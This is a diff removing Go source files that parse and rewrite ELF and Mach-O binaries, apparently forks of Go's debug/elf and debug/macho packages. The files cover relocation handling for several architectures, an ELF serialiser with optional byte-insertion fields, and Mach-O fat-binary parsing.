if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_PPC64_ADDR32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS(dst []byte, rels []byte) error {
|
||||
// 8 is the size of Rel32.
|
||||
if len(rels)%8 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 8")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rel Rel32
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rel)
|
||||
symNo := rel.Info >> 8
|
||||
t := R_MIPS(rel.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint32(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
|
||||
switch t {
|
||||
case R_MIPS_32:
|
||||
if rel.Off+4 >= uint32(len(dst)) {
|
||||
continue
|
||||
}
|
||||
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
|
||||
val += uint32(sym.Value)
|
||||
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsMIPS64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
var symNo uint64
|
||||
var t R_MIPS
|
||||
if f.ByteOrder == binary.BigEndian {
|
||||
symNo = rela.Info >> 32
|
||||
t = R_MIPS(rela.Info & 0xff)
|
||||
} else {
|
||||
symNo = rela.Info & 0xffffffff
|
||||
t = R_MIPS(rela.Info >> 56)
|
||||
}
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_MIPS_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_MIPS_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsRISCV64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_RISCV(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_RISCV_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_RISCV_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationss390x(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_390(rela.Info & 0xffff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
switch SymType(sym.Info & 0xf) {
|
||||
case STT_SECTION, STT_NOTYPE:
|
||||
break
|
||||
default:
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_390_64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := sym.Value + uint64(rela.Addend)
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], val)
|
||||
case R_390_32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
val := uint32(sym.Value) + uint32(rela.Addend)
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], val)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) applyRelocationsSPARC64(dst []byte, rels []byte) error {
|
||||
// 24 is the size of Rela64.
|
||||
if len(rels)%24 != 0 {
|
||||
return errors.New("length of relocation section is not a multiple of 24")
|
||||
}
|
||||
|
||||
symbols, _, err := f.getSymbols(SHT_SYMTAB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
b := bytes.NewReader(rels)
|
||||
var rela Rela64
|
||||
|
||||
for b.Len() > 0 {
|
||||
binary.Read(b, f.ByteOrder, &rela)
|
||||
symNo := rela.Info >> 32
|
||||
t := R_SPARC(rela.Info & 0xff)
|
||||
|
||||
if symNo == 0 || symNo > uint64(len(symbols)) {
|
||||
continue
|
||||
}
|
||||
sym := &symbols[symNo-1]
|
||||
if SymType(sym.Info&0xf) != STT_SECTION {
|
||||
// We don't handle non-section relocations for now.
|
||||
continue
|
||||
}
|
||||
|
||||
switch t {
|
||||
case R_SPARC_64, R_SPARC_UA64:
|
||||
if rela.Off+8 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint64(dst[rela.Off:rela.Off+8], uint64(rela.Addend))
|
||||
case R_SPARC_32, R_SPARC_UA32:
|
||||
if rela.Off+4 >= uint64(len(dst)) || rela.Addend < 0 {
|
||||
continue
|
||||
}
|
||||
f.ByteOrder.PutUint32(dst[rela.Off:rela.Off+4], uint32(rela.Addend))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-281
@@ -1,281 +0,0 @@
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
)
|
||||
|
||||
// Bytes - returns the bytes of an Elf file
|
||||
func (elfFile *File) Bytes() ([]byte, error) {
|
||||
|
||||
bytesWritten := uint64(0)
|
||||
elfBuf := bytes.NewBuffer(nil)
|
||||
w := bufio.NewWriter(elfBuf)
|
||||
|
||||
// Write Elf Magic
|
||||
w.WriteByte('\x7f')
|
||||
w.WriteByte('E')
|
||||
w.WriteByte('L')
|
||||
w.WriteByte('F')
|
||||
bytesWritten += 4
|
||||
|
||||
// ident[EI_CLASS]
|
||||
w.WriteByte(byte(elfFile.Class))
|
||||
// ident[EI_DATA]
|
||||
w.WriteByte(byte(elfFile.Data))
|
||||
// ident[EI_VERSION]
|
||||
w.WriteByte(byte(elfFile.Version))
|
||||
// ident[EI_OSABI]
|
||||
w.WriteByte(byte(elfFile.OSABI))
|
||||
// ident[EI_ABIVERSION]
|
||||
w.WriteByte(byte(elfFile.ABIVersion))
|
||||
// ident[EI_PAD] ( 7 bytes )
|
||||
w.Write([]byte{0, 0, 0, 0, 0, 0, 0})
|
||||
bytesWritten += 12
|
||||
|
||||
// Type
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Type))
|
||||
// Machine
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.Machine))
|
||||
// Version
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Version))
|
||||
bytesWritten += 8
|
||||
|
||||
phsize := 0
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
phsize = 0x20
|
||||
// Entry 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(elfFile.Entry))
|
||||
// PH Offset 32
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0x34))
|
||||
// SH Offset 32 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int32(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // todo
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(52))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x28))
|
||||
bytesWritten += 24
|
||||
|
||||
case ELFCLASS64:
|
||||
phsize = 0x38
|
||||
// Entry 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(elfFile.Entry))
|
||||
// PH Offset 64
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(0x40))
|
||||
// SH Offset 64 // 0x20 0x28 4 8 e_shoff Points to the start of the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, int64(elfFile.FileHeader.SHTOffset))
|
||||
// Flags
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(0)) // I think right?
|
||||
// EH Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(64))
|
||||
// PH Size // 0x2A 0x36 2 e_phentsize Contains the size of a program header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(phsize))
|
||||
// PH Num // 0x2C 0x38 2 e_phnum Contains the number of entries in the program header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Progs)))
|
||||
// SH Size // 0x2E 0x3A 2 e_shentsize Contains the size of a section header table entry.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(0x40))
|
||||
bytesWritten += 36
|
||||
}
|
||||
|
||||
// SH Num // 0x30 0x3C 2 e_shnum Contains the number of entries in the section header table.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(len(elfFile.Sections)))
|
||||
// SH Str Ndx // 0x32 0x3E 2 e_shstrndx Contains index of the section header table entry that contains the section names.
|
||||
binary.Write(w, elfFile.ByteOrder, uint16(elfFile.ShStrIndex))
|
||||
bytesWritten += 4
|
||||
|
||||
// Program Header
|
||||
for _, p := range elfFile.Progs {
|
||||
// Type (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Type))
|
||||
bytesWritten += 4
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Memsz))
|
||||
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Align))
|
||||
|
||||
bytesWritten += 28
|
||||
|
||||
case ELFCLASS64:
|
||||
// Flags (segment)
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(p.Flags))
|
||||
|
||||
// Offset of Segment in File
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Off))
|
||||
|
||||
// Vaddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Vaddr))
|
||||
|
||||
// Paddr
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Paddr))
|
||||
|
||||
// File Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Filesz))
|
||||
|
||||
// Memory Size
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Memsz))
|
||||
|
||||
// Alignment
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(p.Align))
|
||||
|
||||
bytesWritten += 52
|
||||
}
|
||||
}
|
||||
|
||||
sortedSections := elfFile.Sections[:]
|
||||
//sort.Slice(sortedSections, func(a, b int) bool { return elfFile.Sections[a].Link < elfFile.Sections[b].Link })
|
||||
for _, s := range sortedSections {
|
||||
|
||||
//log.Printf("Writing section: %s type: %+v\n", s.Name, s.Type)
|
||||
//log.Printf("written: %x offset: %x\n", bytesWritten, s.Offset)
|
||||
|
||||
if s.Type == SHT_NULL || s.Type == SHT_NOBITS || s.FileSize == 0 {
|
||||
//log.Println("continuing...")
|
||||
continue
|
||||
}
|
||||
|
||||
if bytesWritten > s.Offset {
|
||||
log.Printf("Overlapping Sections in Generated Elf: %+v\n", s.Name)
|
||||
continue
|
||||
}
|
||||
if s.Offset != 0 && bytesWritten < s.Offset {
|
||||
pad := make([]byte, s.Offset-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", s.Name, bytesWritten, len(pad), s.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
slen := 0
|
||||
switch s.Type {
|
||||
case SHT_DYNAMIC:
|
||||
for _, taggedValue := range elfFile.DynTags {
|
||||
//log.Printf("writing %d (%x) -> %d (%x)\n", taggedValue.Tag, taggedValue.Tag, taggedValue.Value, taggedValue.Value)
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint32(taggedValue.Value))
|
||||
bytesWritten += 8
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Tag))
|
||||
binary.Write(w, elfFile.ByteOrder, uint64(taggedValue.Value))
|
||||
bytesWritten += 16
|
||||
}
|
||||
}
|
||||
default:
|
||||
section, err := ioutil.ReadAll(s.Open())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
binary.Write(w, elfFile.ByteOrder, section)
|
||||
slen = len(section)
|
||||
//log.Printf("Wrote %s section at %x, length %x\n", s.Name, bytesWritten, slen)
|
||||
bytesWritten += uint64(slen)
|
||||
}
|
||||
|
||||
// todo: elfFile.Insertion should be renamed InsertionLoadEnd or similar
|
||||
if s.Type == SHT_PROGBITS && len(elfFile.Insertion) > 0 && s.Size-uint64(slen) >= uint64(len(elfFile.Insertion)) {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.Insertion)
|
||||
bytesWritten += uint64(len(elfFile.Insertion))
|
||||
}
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
// Pad to Section Header Table
|
||||
if bytesWritten < uint64(elfFile.FileHeader.SHTOffset) {
|
||||
pad := make([]byte, uint64(elfFile.FileHeader.SHTOffset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before SHT at %x: length:%x to:%x\n", bytesWritten, len(pad), elfFile.FileHeader.SHTOffset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
// Write Section Header Table
|
||||
|
||||
for _, s := range elfFile.Sections[:] {
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section32{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint32(s.Flags),
|
||||
Addr: uint32(s.Addr),
|
||||
Off: uint32(s.Offset),
|
||||
Size: uint32(s.Size),
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: uint32(s.Addralign),
|
||||
Entsize: uint32(s.Entsize)})
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section64{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint64(s.Flags),
|
||||
Addr: s.Addr,
|
||||
Off: s.Offset,
|
||||
Size: s.Size,
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: s.Addralign,
|
||||
Entsize: s.Entsize})
|
||||
}
|
||||
}
|
||||
|
||||
// Do I have a PT_NOTE segment to add at the end?
|
||||
|
||||
if len(elfFile.InsertionEOF) > 0 {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.InsertionEOF)
|
||||
bytesWritten += uint64(len(elfFile.InsertionEOF))
|
||||
}
|
||||
|
||||
w.Flush()
|
||||
return elfBuf.Bytes(), nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (elfFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
elfData, err := elfFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(elfData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
## More Info
|
||||
|
||||
More info on the Mach-O file structure here: [Mach-O Deep Dive](https://www.symbolcrash.com/2019/02/25/so-you-want-to-be-a-mach-o-man/)
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package macho
|
||||
|
||||
const N_SECT = 0x0E
|
||||
const N_PEXT = 0x10
|
||||
const N_EXT = 0x01
|
||||
|
||||
// Export - describes a single export entry (similar to PE version for future refactoring)
|
||||
type Export struct {
|
||||
//Ordinal uint32 // no ordinals for Mach-O
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports, including private exports
|
||||
func (f *File) Exports() []Export {
|
||||
var exports []Export
|
||||
for _, symbol := range f.Symtab.Syms {
|
||||
if (symbol.Type&N_PEXT == N_PEXT ||
|
||||
symbol.Type&N_EXT == N_EXT) && symbol.Value != 0 {
|
||||
var export Export
|
||||
export.Name = symbol.Name
|
||||
export.VirtualAddress = symbol.Value
|
||||
exports = append(exports, export)
|
||||
}
|
||||
}
|
||||
return exports
|
||||
}
|
||||
-146
@@ -1,146 +0,0 @@
|
||||
// Copyright 2014 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// A FatFile is a Mach-O universal binary that contains at least one architecture.
|
||||
type FatFile struct {
|
||||
Magic uint32
|
||||
Arches []FatArch
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A FatArchHeader represents a fat header for a specific image architecture.
|
||||
type FatArchHeader struct {
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Offset uint32
|
||||
Size uint32
|
||||
Align uint32
|
||||
}
|
||||
|
||||
const fatArchHeaderSize = 5 * 4
|
||||
|
||||
// A FatArch is a Mach-O File inside a FatFile.
|
||||
type FatArch struct {
|
||||
FatArchHeader
|
||||
*File
|
||||
}
|
||||
|
||||
// ErrNotFat is returned from NewFatFile or OpenFat when the file is not a
|
||||
// universal binary but may be a thin binary, based on its magic number.
|
||||
var ErrNotFat = &FormatError{0, "not a fat Mach-O file", nil}
|
||||
|
||||
// NewFatFile creates a new FatFile for accessing all the Mach-O images in a
|
||||
// universal binary. The Mach-O binary is expected to start at position 0 in
|
||||
// the ReaderAt.
|
||||
func NewFatFile(r io.ReaderAt) (*FatFile, error) {
|
||||
var ff FatFile
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read the fat_header struct, which is always in big endian.
|
||||
// Start with the magic number.
|
||||
err := binary.Read(sr, binary.BigEndian, &ff.Magic)
|
||||
if err != nil {
|
||||
return nil, &FormatError{0, "error reading magic number", nil}
|
||||
} else if ff.Magic != MagicFat {
|
||||
// See if this is a Mach-O file via its magic number. The magic
|
||||
// must be converted to little endian first though.
|
||||
var buf [4]byte
|
||||
binary.BigEndian.PutUint32(buf[:], ff.Magic)
|
||||
leMagic := binary.LittleEndian.Uint32(buf[:])
|
||||
if leMagic == Magic32 || leMagic == Magic64 {
|
||||
return nil, ErrNotFat
|
||||
} else {
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
}
|
||||
offset := int64(4)
|
||||
|
||||
// Read the number of FatArchHeaders that come after the fat_header.
|
||||
var narch uint32
|
||||
err = binary.Read(sr, binary.BigEndian, &narch)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_header", nil}
|
||||
}
|
||||
offset += 4
|
||||
|
||||
if narch < 1 {
|
||||
return nil, &FormatError{offset, "file contains no images", nil}
|
||||
}
|
||||
|
||||
// Combine the Cpu and SubCpu (both uint32) into a uint64 to make sure
|
||||
// there are not duplicate architectures.
|
||||
seenArches := make(map[uint64]bool, narch)
|
||||
// Make sure that all images are for the same MH_ type.
|
||||
var machoType Type
|
||||
|
||||
// Following the fat_header comes narch fat_arch structs that index
|
||||
// Mach-O images further in the file.
|
||||
ff.Arches = make([]FatArch, narch)
|
||||
for i := uint32(0); i < narch; i++ {
|
||||
fa := &ff.Arches[i]
|
||||
err = binary.Read(sr, binary.BigEndian, &fa.FatArchHeader)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_arch header", nil}
|
||||
}
|
||||
offset += fatArchHeaderSize
|
||||
|
||||
fr := io.NewSectionReader(r, int64(fa.Offset), int64(fa.Size))
|
||||
fa.File, err = NewFile(fr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Make sure the architecture for this image is not duplicate.
|
||||
seenArch := (uint64(fa.Cpu) << 32) | uint64(fa.SubCpu)
|
||||
if o, k := seenArches[seenArch]; o || k {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("duplicate architecture cpu=%v, subcpu=%#x", fa.Cpu, fa.SubCpu), nil}
|
||||
}
|
||||
seenArches[seenArch] = true
|
||||
|
||||
// Make sure the Mach-O type matches that of the first image.
|
||||
if i == 0 {
|
||||
machoType = fa.Type
|
||||
} else {
|
||||
if fa.Type != machoType {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("Mach-O type for architecture #%d (type=%#x) does not match first (type=%#x)", i, fa.Type, machoType), nil}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ff, nil
|
||||
}
|
||||
|
||||
// OpenFat opens the named file using os.Open and prepares it for use as a Mach-O
|
||||
// universal binary.
|
||||
func OpenFat(name string) (*FatFile, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFatFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
func (ff *FatFile) Close() error {
|
||||
var err error
|
||||
if ff.closer != nil {
|
||||
err = ff.closer.Close()
|
||||
ff.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
-952
@@ -1,952 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package macho implements access to Mach-O object files.
|
||||
package macho
|
||||
|
||||
// High level access to low level data structures.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// A File represents an open Mach-O file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
ByteOrder binary.ByteOrder
|
||||
Loads []Load
|
||||
Sections []*Section
|
||||
|
||||
Symtab *Symtab
|
||||
Dysymtab *Dysymtab
|
||||
SigBlock *SigBlock
|
||||
FuncStarts *FuncStarts
|
||||
DataInCode *DataInCode
|
||||
DylinkInfo *DylinkInfo
|
||||
|
||||
EntryPoint uint64
|
||||
Insertion []byte
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A Load represents any Mach-O load command.
|
||||
type Load interface {
|
||||
Raw() []byte
|
||||
}
|
||||
|
||||
// A LoadBytes is the uninterpreted bytes of a Mach-O load command.
|
||||
type LoadBytes []byte
|
||||
|
||||
func (b LoadBytes) Raw() []byte { return b }
|
||||
|
||||
// A SegmentHeader is the header for a Mach-O 32-bit or 64-bit load segment command.
|
||||
type SegmentHeader struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name string
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
type SigBlock struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type FuncStarts struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DataInCode struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DylinkInfo struct {
|
||||
RebaseLen uint32
|
||||
RebaseOffset uint64
|
||||
RebaseDat []byte
|
||||
BindingInfoLen uint32
|
||||
BindingInfoOffset uint64
|
||||
BindingInfoDat []byte
|
||||
WeakBindingLen uint32
|
||||
WeakBindingOffset uint64
|
||||
WeakBindingDat []byte
|
||||
LazyBindingLen uint32
|
||||
LazyBindingOffset uint64
|
||||
LazyBindingDat []byte
|
||||
ExportInfoLen uint32
|
||||
ExportInfoOffset uint64
|
||||
ExportInfoDat []byte
|
||||
}
|
||||
|
||||
// A Segment represents a Mach-O 32-bit or 64-bit load segment command.
|
||||
type Segment struct {
|
||||
LoadBytes
|
||||
SegmentHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the segment.
|
||||
func (s *Segment) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the segment.
|
||||
func (s *Segment) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Seg string
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
// A Reloc represents a Mach-O relocation.
|
||||
type Reloc struct {
|
||||
Addr uint32
|
||||
Value uint32
|
||||
// when Scattered == false && Extern == true, Value is the symbol number.
|
||||
// when Scattered == false && Extern == false, Value is the section number.
|
||||
// when Scattered == true, Value is the value that this reloc refers to.
|
||||
Type uint8
|
||||
Len uint8 // 0=byte, 1=word, 2=long, 3=quad
|
||||
Pcrel bool
|
||||
Extern bool // valid if Scattered == false
|
||||
Scattered bool
|
||||
}
|
||||
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
